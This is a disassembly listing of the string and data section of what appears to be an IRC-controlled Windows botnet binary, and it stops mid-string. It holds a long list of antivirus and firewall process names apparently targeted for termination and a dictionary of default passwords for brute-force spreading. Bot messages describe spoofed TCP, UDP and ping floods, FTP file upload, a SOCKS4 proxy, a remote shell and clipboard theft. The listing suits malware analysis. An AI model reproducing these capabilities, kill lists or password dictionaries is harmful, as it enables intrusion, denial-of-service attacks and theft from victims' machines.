aCpfnt206_exe db 'CPFNT206.EXE',0 ; DATA XREF: .data:0042B67Co align 4 aCpf9x206_exe db 'CPF9X206.EXE',0 ; DATA XREF: .data:0042B678o align 4 aCpd_exe db 'CPD.EXE',0 ; DATA XREF: .data:0042B674o aConnectionmoni db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: .data:0042B670o align 4 aCmon016_exe db 'CMON016.EXE',0 ; DATA XREF: .data:0042B66Co aCmgrdian_exe db 'CMGRDIAN.EXE',0 ; DATA XREF: .data:0042B668o align 10h aCmesys_exe db 'CMESYS.EXE',0 ; DATA XREF: .data:0042B664o align 4 aCmd32_exe db 'CMD32.EXE',0 ; DATA XREF: .data:0042B660o align 4 aClick_exe db 'CLICK.EXE',0 ; DATA XREF: .data:0042B65Co align 4 aCleanpc_exe db 'CLEANPC.EXE',0 ; DATA XREF: .data:0042B658o aCleaner3_exe db 'CLEANER3.EXE',0 ; DATA XREF: .data:0042B654o align 10h aCleaner_exe db 'CLEANER.EXE',0 ; DATA XREF: .data:0042B650o aClean_exe db 'CLEAN.EXE',0 ; DATA XREF: .data:0042B64Co align 4 aClaw95cf_exe db 'CLAW95CF.EXE',0 ; DATA XREF: .data:0042B648o ; .data:0042B694o align 4 aCfinet32_exe db 'CFINET32.EXE',0 ; DATA XREF: .data:0042B644o align 4 aCfinet_exe db 'CFINET.EXE',0 ; DATA XREF: .data:0042B640o align 4 aCfiaudit_exe db 'CFIAUDIT.EXE',0 ; DATA XREF: .data:0042B638o ; .data:0042B63Co align 4 aCfiadmin_exe db 'CFIADMIN.EXE',0 ; DATA XREF: .data:0042B634o align 4 aCfgwiz_exe db 'CFGWIZ.EXE',0 ; DATA XREF: .data:0042B630o align 10h aCfd_exe db 'CFD.EXE',0 ; DATA XREF: .data:0042B62Co aCdp_exe db 'CDP.EXE',0 ; DATA XREF: .data:0042B628o aCcpxysvc_exe db 'CCPXYSVC.EXE',0 ; DATA XREF: .data:0042B624o align 10h aCcevtmgr_exe db 'CCEVTMGR.EXE',0 ; DATA XREF: .data:0042B620o align 10h aCcapp_exe db 'CCAPP.EXE',0 ; DATA XREF: .data:0042B61Co align 4 aBvt_exe db 'BVT.EXE',0 ; DATA XREF: .data:0042B618o aBundle_exe db 'BUNDLE.EXE',0 ; DATA XREF: .data:0042B614o align 10h aBs120_exe db 'BS120.EXE',0 ; DATA XREF: .data:0042B610o align 4 aBrasil_exe db 'BRASIL.EXE',0 ; DATA XREF: .data:0042B60Co align 4 aBpc_exe db 'BPC.EXE',0 ; DATA XREF: .data:0042B608o aBorg2_exe db 'BORG2.EXE',0 ; DATA XREF: .data:0042B604o align 4 aBootwarn_exe db 'BOOTWARN.EXE',0 ; DATA XREF: .data:0042B600o align 4 aBootconf_exe db 'BOOTCONF.EXE',0 ; DATA XREF: .data:0042B5FCo align 4 aBlss_exe db 'BLSS.EXE',0 ; DATA XREF: .data:0042B5F8o align 4 aBlackice_exe db 'BLACKICE.EXE',0 ; DATA XREF: .data:0042B5F4o align 4 aBlackd_exe db 'BLACKD.EXE',0 ; DATA XREF: .data:0042B5F0o align 4 aBisp_exe db 'BISP.EXE',0 ; DATA XREF: .data:0042B5ECo align 10h aBipcpevalsetup db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: .data:0042B5E8o align 4 aBipcp_exe db 'BIPCP.EXE',0 ; DATA XREF: .data:0042B5E4o align 10h aBidserver_exe db 'BIDSERVER.EXE',0 ; DATA XREF: .data:0042B5E0o align 10h aBidef_exe db 'BIDEF.EXE',0 ; DATA XREF: .data:0042B5DCo align 4 aBelt_exe db 'BELT.EXE',0 ; DATA XREF: .data:0042B5D8o align 4 aBeagle_exe db 'BEAGLE.EXE',0 ; DATA XREF: .data:0042B5D4o align 4 aBd_professiona db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: .data:0042B5D0o aBargains_exe db 'BARGAINS.EXE',0 ; DATA XREF: .data:0042B5CCo align 4 aBackweb_exe db 'BACKWEB.EXE',0 ; DATA XREF: .data:0042B5C8o aAvxquar_exe db 'AVXQUAR.EXE',0 ; DATA XREF: .data:0042B5C0o ; .data:0042B5C4o aAvxmonitornt_e db 'AVXMONITORNT.EXE',0 ; DATA XREF: .data:0042B5BCo align 4 aAvxmonitor9x_e db 'AVXMONITOR9X.EXE',0 ; DATA XREF: .data:0042B5B8o align 4 aAvwupsrv_exe db 'AVWUPSRV.EXE',0 ; DATA XREF: .data:0042B5B4o align 4 aAvwupd32_exe db 'AVWUPD32.EXE',0 ; DATA XREF: .data:0042B5ACo ; .data:0042B5B0o align 4 aAvwupd_exe db 'AVWUPD.EXE',0 ; DATA XREF: .data:0042B5A8o align 4 aAvwinnt_exe db 'AVWINNT.EXE',0 ; DATA XREF: .data:0042B5A4o aAvwin95_exe db 'AVWIN95.EXE',0 ; DATA XREF: .data:0042B5A0o aAvsynmgr_exe db 'AVSYNMGR.EXE',0 ; DATA XREF: .data:0042B59Co align 4 aAvsched32_exe db 'AVSCHED32.EXE',0 ; DATA XREF: .data:0042B598o align 4 aAvpupd_exe db 'AVPUPD.EXE',0 ; DATA XREF: .data:0042B590o ; .data:0042B594o align 4 aAvptc32_exe db 'AVPTC32.EXE',0 ; DATA XREF: .data:0042B58Co aAvpm_exe db 'AVPM.EXE',0 ; DATA XREF: .data:0042B588o align 10h aAvpdos32_exe db 'AVPDOS32.EXE',0 ; DATA XREF: .data:0042B584o align 10h aAvpcc_exe db 'AVPCC.EXE',0 ; DATA XREF: .data:0042B580o align 4 aAvp32_exe db 'AVP32.EXE',0 ; DATA XREF: .data:0042B57Co align 4 aAvp_exe db 'AVP.EXE',0 ; DATA XREF: .data:0042B578o aAvnt_exe db 'AVNT.EXE',0 ; DATA XREF: .data:0042B574o align 4 aAvltmain_exe db 'AVLTMAIN.EXE',0 ; DATA XREF: .data:0042B570o align 4 aAvkwctl9_exe db 'AVKWCTl9.EXE',0 ; DATA XREF: .data:0042B56Co align 4 aAvkservice_exe db 'AVKSERVICE.EXE',0 ; DATA XREF: .data:0042B568o align 4 aAvkserv_exe db 'AVKSERV.EXE',0 ; DATA XREF: .data:0042B564o aAvkpop_exe db 'AVKPOP.EXE',0 ; DATA XREF: .data:0042B560o align 4 aAvgw_exe db 'AVGW.EXE',0 ; DATA XREF: .data:0042B55Co align 10h aAvguard_exe db 'AVGUARD.EXE',0 ; DATA XREF: .data:0042B558o aAvgserv9_exe db 'AVGSERV9.EXE',0 ; DATA XREF: .data:0042B554o align 4 aAvgserv_exe db 'AVGSERV.EXE',0 ; DATA XREF: .data:0042B550o aAvgnt_exe db 'AVGNT.EXE',0 ; DATA XREF: .data:0042B54Co align 4 aAvgctrl_exe db 'AVGCTRL.EXE',0 ; DATA XREF: .data:0042B548o aAvgcc32_exe db 'AVGCC32.EXE',0 ; DATA XREF: .data:0042B544o aAve32_exe db 'AVE32.EXE',0 ; DATA XREF: .data:0042B540o align 4 aAvconsol_exe db 'AVCONSOL.EXE',0 ; DATA XREF: .data:0042B53Co align 4 aAutoupdate_exe db 'AUTOUPDATE.EXE',0 ; DATA XREF: .data:0042B538o align 4 aAutotrace_exe db 'AUTOTRACE.EXE',0 ; DATA XREF: .data:0042B534o align 4 aAutodown_exe db 'AUTODOWN.EXE',0 ; DATA XREF: .data:0042B530o align 4 aAupdate_exe db 'AUPDATE.EXE',0 ; DATA XREF: .data:0042B52Co aAu_exe db 'AU.EXE',0 ; DATA XREF: .data:0042B528o align 4 aAtwatch_exe db 'ATWATCH.EXE',0 ; DATA XREF: .data:0042B524o aAtupdater_exe db 'ATUPDATER.EXE',0 ; DATA XREF: .data:0042B51Co ; .data:0042B520o align 4 aAtro55en_exe db 'ATRO55EN.EXE',0 ; DATA XREF: .data:0042B518o align 4 aAtguard_exe db 'ATGUARD.EXE',0 ; DATA XREF: .data:0042B514o aAtcon_exe db 'ATCON.EXE',0 ; DATA XREF: .data:0042B510o align 10h aArr_exe db 'ARR.EXE',0 ; DATA XREF: .data:0042B50Co aApvxdwin_exe db 'APVXDWIN.EXE',0 ; DATA XREF: .data:0042B508o align 4 aAplica32_exe db 'APLICA32.EXE',0 ; DATA XREF: .data:0042B504o align 4 aApimonitor_exe db 'APIMONITOR.EXE',0 ; DATA XREF: .data:0042B500o align 4 aAnts_exe db 'ANTS.EXE',0 ; DATA XREF: .data:0042B4FCo align 4 aAntivirus_exe db 'ANTIVIRUS.EXE',0 ; DATA XREF: .data:0042B4F8o align 4 aAntiTrojan_exe db 'ANTI-TROJAN.EXE',0 ; DATA XREF: .data:0042B4F4o aAmon9x_exe db 'AMON9X.EXE',0 ; DATA XREF: .data:0042B4F0o align 10h aAlogserv_exe db 'ALOGSERV.EXE',0 ; DATA XREF: .data:0042B4ECo align 10h aAlevir_exe db 'ALEVIR.EXE',0 ; DATA XREF: .data:0042B4E8o align 4 aAlertsvc_exe db 'ALERTSVC.EXE',0 ; DATA XREF: .data:0042B4E4o align 4 aAgentw_exe db 'AGENTW.EXE',0 ; DATA XREF: .data:0042B4E0o align 4 aAgentsvr_exe db 'AGENTSVR.EXE',0 ; DATA XREF: .data:0042B4DCo align 4 aAdvxdwin_exe db 'ADVXDWIN.EXE',0 ; DATA XREF: .data:0042B4D8o align 4 aAdaware_exe db 'ADAWARE.EXE',0 ; DATA XREF: .data:0042B4D4o aAckwin32_exe db 'ACKWIN32.EXE',0 ; DATA XREF: .data:off_42B4D0o align 4 aCannotExtractP db 'Cannot extract process path for %s',0Ah,0 ; DATA XREF: sub_4081CA+2D7o aFileDeletedS_ db '[FILE]: Deleted ',27h,'%s',27h,'.',0Ah,0 ; DATA XREF: sub_4081CA+2C9o align 10h aCouldNotDelete db 'Could not delete ',27h,'%s',27h,'.!',0Ah,0 ; DATA XREF: sub_4081CA+2BBo align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4081CA+187o align 4 aProcProcessL_0 db '[PROC]: Process list failed.',0 ; DATA XREF: sub_4084DD:loc_40855Eo align 4 aProcProcessLis db '[PROC]: Process list completed.',0 ; DATA XREF: sub_4084DD+7Ao aProcListingPro db '[PROC]: Listing processes:',0 ; DATA XREF: sub_4084DD+2Ao align 4 aIntranet db 'intranet',0 ; DATA XREF: .data:0042C2F4o align 10h aLan db 'lan',0 ; DATA XREF: .data:0042C2ECo aMain db 'main',0 ; DATA XREF: .data:0042C2E8o align 4 aWinpass db 'winpass',0 ; DATA XREF: .data:0042C2E4o aBlank db 'blank',0 ; DATA XREF: .data:0042C2E0o align 4 aOffice db 'office',0 ; DATA XREF: .data:0042C2DCo align 4 aControl db 'control',0 ; DATA XREF: .data:0042C2D8o aXp db 'xp',0 ; DATA XREF: .data:0042C2D4o align 10h aNokia db 'nokia',0 ; DATA XREF: .data:0042C2D0o align 4 aHp db 'hp',0 ; DATA XREF: .data:0042C2CCo align 4 aSiemens db 'siemens',0 ; DATA XREF: .data:0042C2C8o aCompaq db 'compaq',0 ; DATA XREF: .data:0042C2C4o align 4 aDell db 'dell',0 ; DATA XREF: .data:0042C2C0o align 4 aCisco db 'cisco',0 ; DATA XREF: .data:0042C2BCo align 4 aIbm db 'ibm',0 ; DATA XREF: .data:0042C2B8o aOrainstall db 'orainstall',0 ; DATA XREF: .data:0042C2B0o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:0042C2ACo align 10h aSql db 'sql',0 ; DATA XREF: .data:0042C2A8o aSa db 'sa',0 ; DATA XREF: sub_4089DC+1877o ; .text:00413B8Bo ... align 4 aDb1234 db 'db1234',0 ; DATA XREF: .data:0042C2A0o align 10h aDb1 db 'db1',0 ; DATA XREF: .data:0042C298o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0042C294o align 4 aData db 'data',0 ; DATA XREF: .data:0042C290o align 10h aDatabasepass db 'databasepass',0 ; DATA XREF: .data:0042C28Co align 10h aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0042C288o align 4 aDbpass db 'dbpass',0 ; DATA XREF: .data:0042C284o align 4 aAccess db 'access',0 ; DATA XREF: .data:0042C280o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0042C278o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .data:0042C274o align 4 aDomain db 'domain',0 ; DATA XREF: .data:0042C270o align 10h aHello db 'hello',0 ; DATA XREF: .data:0042C26Co align 4 aHell_0 db 'hell',0 ; DATA XREF: .data:0042C268o align 10h aGod db 'god',0 ; DATA XREF: .data:0042C264o aSex db 'sex',0 ; DATA XREF: .data:0042C260o aSlut db 'slut',0 ; DATA XREF: .data:0042C25Co align 10h aBitch db 'bitch',0 ; DATA XREF: .data:0042C258o align 4 aFuck db 'fuck',0 ; DATA XREF: .data:0042C254o align 10h aExchange db 'exchange',0 ; DATA XREF: .data:0042C250o align 4 aBackup db 'backup',0 ; DATA XREF: .data:0042C24Co align 4 aTechnical db 'technical',0 ; DATA XREF: .data:0042C248o align 10h aLoginpass db 'loginpass',0 ; DATA XREF: .data:0042C244o align 4 aLogin db 'login',0 ; DATA XREF: sub_4089DC+7B8o ; .data:0042C240o align 4 aMary db 'mary',0 ; DATA XREF: .data:0042C23Co align 4 aKatie db 'katie',0 ; DATA XREF: .data:0042C238o align 4 aKate db 'kate',0 ; DATA XREF: .data:0042C230o align 4 aGeorge db 'george',0 ; DATA XREF: .data:0042C22Co align 4 aEric db 'eric',0 ; DATA XREF: .data:0042C228o align 4 aChris db 'chris',0 ; DATA XREF: .data:0042C224o align 4 aIan db 'ian',0 ; DATA XREF: .data:0042C220o aNeil db 'neil',0 ; DATA XREF: .data:0042C21Co align 10h aLee db 'lee',0 ; DATA XREF: .data:0042C218o aBrian db 'brian',0 ; DATA XREF: .data:0042C214o align 4 aSusan db 'susan',0 ; DATA XREF: .data:0042C20Co align 4 aSue db 'sue',0 ; DATA XREF: .data:0042C208o aSam db 'sam',0 ; DATA XREF: .data:0042C204o aLuke db 'luke',0 ; DATA XREF: .data:0042C200o align 4 aPeter db 'peter',0 ; DATA XREF: .data:0042C1FCo ; .data:0042C210o align 4 aJohn db 'john',0 ; DATA XREF: .data:0042C1F8o align 4 aMike db 'mike',0 ; DATA XREF: .data:0042C1F4o align 4 aBill db 'bill',0 ; DATA XREF: .data:0042C1F0o align 4 aFred db 'fred',0 ; DATA XREF: .data:0042C1ECo align 4 aJoe db 'joe',0 ; DATA XREF: .data:0042C1E8o aJen db 'jen',0 ; DATA XREF: .data:0042C1E4o aBob db 'bob',0 ; DATA XREF: .data:0042C1E0o ; .data:0042C234o aQwe db 'qwe',0 ; DATA XREF: .data:0042C1DCo aZxc db 'zxc',0 ; DATA XREF: .data:0042C1D8o aAsd db 'asd',0 ; DATA XREF: .data:0042C1D4o aQaz db 'qaz',0 ; DATA XREF: .data:0042C1D0o aWin2000 db 'win2000',0 ; DATA XREF: .data:0042C1CCo aWinnt db 'winnt',0 ; DATA XREF: .data:0042C1C8o align 4 aWinxp db 'winxp',0 ; DATA XREF: .data:0042C1C4o align 10h aWin2k db 'win2k',0 ; DATA XREF: .data:0042C1C0o align 4 aWin98 db 'win98',0 ; DATA XREF: .data:0042C1BCo align 10h aWindows db 'windows',0 ; DATA XREF: .data:0042C1B8o aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0042C1B4o align 4 aOemuser db 'oemuser',0 ; DATA XREF: .data:0042C1B0o aOem db 'oem',0 ; DATA XREF: .data:0042C1ACo aUser db 'user',0 ; DATA XREF: sub_4089DC+1D42o ; .data:0042C1A8o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: .data:0042C1A4o align 4 aHome db 'home',0 ; DATA XREF: .data:0042C1A0o align 4 aAccounting db 'accounting',0 ; DATA XREF: .data:0042C19Co align 4 aAccounts db 'accounts',0 ; DATA XREF: .data:0042C198o align 4 aInternet db 'internet',0 ; DATA XREF: .data:0042C194o ; .data:0042C2F0o align 10h aWww db 'www',0 ; DATA XREF: .data:0042C190o aWeb db 'web',0 ; DATA XREF: .data:0042C18Co aOutlook db 'outlook',0 ; DATA XREF: .data:0042C188o aMail db 'mail',0 ; DATA XREF: .data:0042C184o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:0042C180o align 10h aNull_0 db 'null',0 ; DATA XREF: .data:0042C17Co align 4 aServer db 'server',0 ; DATA XREF: sub_4089DC+1A05o ; .data:0042C174o align 10h aSystem db 'system',0 ; DATA XREF: .data:0042C170o align 4 aChangeme db 'changeme',0 ; DATA XREF: .data:0042C168o align 4 aLinux db 'linux',0 ; DATA XREF: .data:0042C164o align 4 aUnix db 'unix',0 ; DATA XREF: .data:0042C160o align 4 aDemo db 'demo',0 ; DATA XREF: .data:0042C15Co align 4 aNone db 'none',0 ; DATA XREF: .data:0042C158o align 4 aTest db 'test',0 ; DATA XREF: .data:0042C150o align 4 a2004 db '2004',0 ; DATA XREF: .data:0042C14Co align 4 a2003 db '2003',0 ; DATA XREF: sub_4116D2+98o ; .data:0042C148o align 4 a2002 db '2002',0 ; DATA XREF: .data:0042C144o align 4 a2001 db '2001',0 ; DATA XREF: .data:0042C140o align 4 a2000 db '2000',0 ; DATA XREF: .data:0042C13Co align 4 a1234567890 db '1234567890',0 ; DATA XREF: .data:0042C138o align 10h a123456789 db '123456789',0 ; DATA XREF: .data:0042C134o align 4 a12345678 db '12345678',0 ; DATA XREF: .data:0042C130o align 4 a1234567 db '1234567',0 ; DATA XREF: .data:0042C12Co a123456 db '123456',0 ; DATA XREF: .data:0042C128o align 4 a12345 db '12345',0 ; DATA XREF: .data:0042C124o align 10h a1234 db '1234',0 ; DATA XREF: .data:0042C120o align 4 a123 db '123',0 ; DATA XREF: .data:0042C11Co a12 db '12',0 ; DATA XREF: .data:0042C118o align 10h a1: ; DATA XREF: .data:0042C114o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: .data:0042C110o aPwd db 'pwd',0 ; DATA XREF: .data:0042C10Co aPass_0 db 'pass',0 ; DATA XREF: .data:0042C108o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .data:0042C104o align 10h aPasswd db 'passwd',0 ; DATA XREF: .data:0042C100o align 4 aPassword db 'password',0 ; DATA XREF: .data:0042C0FCo align 4 aPassword1 db 'password1',0 ; DATA XREF: .data:0042C0F8o align 10h aAdm db 'adm',0 ; DATA XREF: .data:0042C0F4o aDb2 db 'db2',0 ; DATA XREF: .data:0042C0D0o ; .data:0042C29Co aOracle db 'oracle',0 ; DATA XREF: .data:0042C0CCo ; .data:0042C2B4o align 10h aDba db 'dba',0 ; DATA XREF: .data:0042C0C8o aDatabase db 'database',0 ; DATA XREF: .data:0042C0C4o ; .data:0042C27Co align 10h aDefault db 'default',0 ; DATA XREF: .data:0042C0C0o ; .data:0042C16Co aGuest_0 db 'guest',0 ; DATA XREF: .data:0042C0BCo ; .data:0042C154o align 10h aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0042C0B8o align 4 aTeacher db 'teacher',0 ; DATA XREF: .data:0042C0B4o ; .data:0042C2FCo aStudent db 'student',0 ; DATA XREF: .data:0042C0B0o ; .data:0042C2F8o aOwner db 'owner',0 ; DATA XREF: .data:0042C0ACo align 4 aComputer db 'computer',0 ; DATA XREF: .data:0042C0A8o align 10h aRoot db 'root',0 ; DATA XREF: .text:00413B92o ; .data:0042C0A4o ... align 4 aStaff db 'staff',0 ; DATA XREF: .data:0042C0A0o ; .data:0042C300o align 10h aAdmin db 'admin',0 ; DATA XREF: .text:00413B99o ; .data:0042C09Co ... align 4 aAdmins db 'admins',0 ; DATA XREF: .data:0042C098o ; .data:0042C0ECo align 10h aAdministrat db 'administrat',0 ; DATA XREF: .data:0042C094o ; .data:0042C0E8o aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0042C090o ; .data:0042C0E4o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:0042C08Co ; .data:0042C0E0o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:off_42C088o ; .data:0042C0DCo align 4 aMircV6_12Khale db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_42BFBCo align 4 a@celestial_org db '*@celestial.org',0 ; DATA XREF: .data:off_42BFB8o asc_425A4C: ; DATA XREF: sub_408601+129o ; sub_408601+1ADo unicode 0, <|>,0 asc_425A50 db ' :',0 ; DATA XREF: sub_408601:loc_4086E1o ; sub_4089DC+7Do ... align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_408601+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_408601+38o align 4 aMainConnectedT db '[MAIN]: Connected to %s.',0 ; DATA XREF: sub_40887D+9Fo align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4089DC+5CAFo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_4089DC+5C9Ao align 4 aMainUserSLog_1 db '[MAIN]: User: %s logged in.',0 ; DATA XREF: sub_4089DC+5C86o aMainPasswordAc db '[MAIN]: Password accepted.',0 ; DATA XREF: sub_4089DC+5C69o align 10h aMainFailedHost db '[MAIN]: *Failed host auth by: (%s!%s).',0 ; DATA XREF: sub_4089DC+5BF1o align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_4089DC+5BCEo align 10h aMainFailedPass db '[MAIN]: *Failed pass auth by: (%s!%s).',0 ; DATA XREF: sub_4089DC+5B8Ao align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_4089DC+5B7Bo ; sub_4089DC+5BE2o align 4 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_4089DC+5B67o align 4 asc_425BBC: ; DATA XREF: sub_4089DC+5B15o unicode 0, <~>,0 dword_425BC0 dd 0 ; DATA XREF: sub_4089DC+5B08o aMainRandomNick db '[MAIN]: Random nick change: %s',0 ; DATA XREF: sub_4089DC+5AC5o align 4 aScanFailedTo_2 db '[SCAN]: Failed to start scan, no IP specified.',0 ; DATA XREF: sub_4089DC+587Eo align 4 aStoppingPrevio db 'Stopping previous scans',0 ; DATA XREF: sub_4089DC+5843o aUdpFailedToSta db '[UDP]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+561Do align 10h aUdpSendingDPac db '[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).' ; DATA XREF: sub_4089DC+55B8o db 0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_4089DC+54F1o align 4 aPingFailedToSt db '[PING]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+54C7o align 10h aPingSendingDPi db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).' ; DATA XREF: sub_4089DC+546Co db 0 align 4 aTcpInvalidFl_0 db '[TCP]: Invalid flood time must be greater than 0.',0 ; DATA XREF: sub_4089DC:loc_40DD82o align 4 aTcpFailedToSta db '[TCP]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+538Ao align 4 aTcpSSFloodingS db '[TCP]: %s %s flooding: (%s:%s) for %s seconds.',0 ; DATA XREF: sub_4089DC+5324o align 4 aNormal db 'Normal',0 ; DATA XREF: sub_4089DC+5316o align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_4089DC+530Fo aTcpInvalidFloo db '[TCP]: Invalid flood type specified.',0 ; DATA XREF: sub_4089DC+5260o align 4 aRandom_0 db 'random',0 ; DATA XREF: sub_4089DC+5254o ; sub_4119EF+229o align 4 aAck db 'ack',0 ; DATA XREF: sub_4089DC+5240o ; sub_4119EF+209o aFtpUploading_0 db '[FTP]: Uploading file: %s to: %s failed.',0 ; DATA XREF: sub_4089DC:loc_40DB42o align 4 aFtpUploadingFi db '[FTP]: Uploading file: %s to: %s',0 ; DATA XREF: sub_4089DC+515Fo align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_4089DC+5148o aSS_4 db '-s:%s',0 ; DATA XREF: sub_4089DC+512Fo align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_4089DC+510Fo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_4089DC+50DCo align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_4089DC+50CBo align 4 aFtpFileNotFoun db '[FTP]: File not found: %s.',0 ; DATA XREF: sub_4089DC+5072o align 4 aUpload db 'upload',0 ; DATA XREF: sub_4089DC+504Co align 4 aHcon db 'hcon',0 ; DATA XREF: sub_4089DC+502Bo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_4089DC+5017o aMainInvalidLog db '[MAIN]: Invalid login slot number: %d.',0 ; DATA XREF: sub_4089DC+4F51o align 4 aMainNoUserLogg db '[MAIN]: No user logged in at slot: %d.',0 ; DATA XREF: sub_4089DC+4F49o align 4 aMainS db '[MAIN]: %s',0 ; DATA XREF: sub_4089DC+4EEDo align 4 aSecureFailedTo db '[SECURE]: Failed to start secure thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+4EC3o ; sub_40E6BB+3DEo align 10h aSecureSSystem_ db '[SECURE]: %s system.',0 ; DATA XREF: sub_4089DC+4E5Fo align 4 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_4089DC+4E59o align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_4089DC+4E52o align 10h aSocks4FailedTo db '[SOCKS4]: Failed to start server thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+4DC4o align 4 aSocks4ServerSt db '[SOCKS4]: Server started on: %s:%d.',0 ; DATA XREF: sub_4089DC+4D6Bo ; sub_410FF6+A1o aFindfile_0 db '[FINDFILE]',0 ; DATA XREF: sub_4089DC+4C9Do align 4 aFindFile db 'Find file',0 ; DATA XREF: sub_4089DC+4C98o align 4 aProc db '[PROC]',0 ; DATA XREF: sub_4089DC+4C88o align 4 aProcessList db 'Process list',0 ; DATA XREF: sub_4089DC+4C83o align 4 aMainReconnecti db '[MAIN]: Reconnecting.',0 ; DATA XREF: sub_4089DC+4C4Do align 4 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4089DC:loc_40D61Co align 4 aMainDisconnect db '[MAIN]: Disconnecting.',0 ; DATA XREF: sub_4089DC+4C2Bo align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4089DC:loc_40D5FAo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_4089DC+4BF5o align 4 aMainStatusRead db '[MAIN]: Status: Ready. Bot Uptime: %s.',0 ; DATA XREF: sub_4089DC+4BA7o align 10h aMainBotIdS_ db '[MAIN]: Bot ID: %s.',0 ; DATA XREF: sub_4089DC+4B68o aThreadsFaile_0 db '[THREADS]: Failed to start list thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+4B35o align 4 aThreadsListThr db '[THREADS]: List threads.',0 ; DATA XREF: sub_4089DC+4AD4o align 4 aSub db 'sub',0 ; DATA XREF: sub_4089DC+4AB2o aMainAliasList_ db '[MAIN]: Alias list.',0 ; DATA XREF: sub_4089DC+4A5Co aLogFailedToSta db '[LOG]: Failed to start listing thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+4A2Co aLogListingLog_ db '[LOG]: Listing log.',0 ; DATA XREF: sub_4089DC+49D1o aMainNetworkInf db '[MAIN]: Network Info.',0 ; DATA XREF: sub_4089DC+492Ao align 10h aMainSystemInfo db '[MAIN]: System Info.',0 ; DATA XREF: sub_4089DC+48FAo align 4 aMainRemovingBo db '[MAIN]: Removing Bot.',0 ; DATA XREF: sub_4089DC+48A6o align 10h aProcsFailedToS db '[PROCS]: Failed to start listing thread, error: <%d>.',0 ; DATA XREF: sub_4089DC+4830o align 4 aProcsProccessL db '[PROCS]: Proccess list.',0 ; DATA XREF: sub_4089DC+47CFo aFull db 'full',0 ; DATA XREF: sub_4089DC+47B3o align 4 aProcAlreadyRun db '[PROC]: Already running.',0 ; DATA XREF: sub_4089DC+474Do align 4 aMainUptimeS_ db '[MAIN]: Uptime: %s.',0 ; DATA XREF: sub_4089DC+46F9o aCmdRemoteShe_0 db '[CMD]: Remote shell ready.',0 ; DATA XREF: sub_4089DC:loc_40D047o align 4 aCmdCouldnTOpen db '[CMD]: Couldn',27h,'t open remote shell.',0 ; DATA XREF: sub_4089DC+4661o align 4 aCmdRemoteShell db '[CMD]: Remote shell already running.',0 ; DATA XREF: sub_4089DC+4642o align 10h aMainGetClipboa db '[MAIN]: Get Clipboard.',0 ; DATA XREF: sub_4089DC+462Co align 4 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_4089DC+45FDo align 4 aFlushdnsFail_1 db '[FLUSHDNS]: Failed to flush ARP cache.',0 ; DATA XREF: sub_4089DC:loc_40CFC7o align 4 aFlushdnsArpC_0 db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_4089DC+45D6o align 4 aFlushdnsFail_0 db '[FLUSHDNS]: Failed to load dnsapi.dll.',0 ; DATA XREF: sub_4089DC:loc_40CF96o align 4 aFlushdnsFailed db '[FLUSHDNS]: Failed to flush DNS cache.',0 ; DATA XREF: sub_4089DC:loc_40CF8Fo align 4 aFlushdnsDnsCac db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_4089DC+45ACo align 4 aRlogindFailedT db '[RLOGIND]: Failed to start 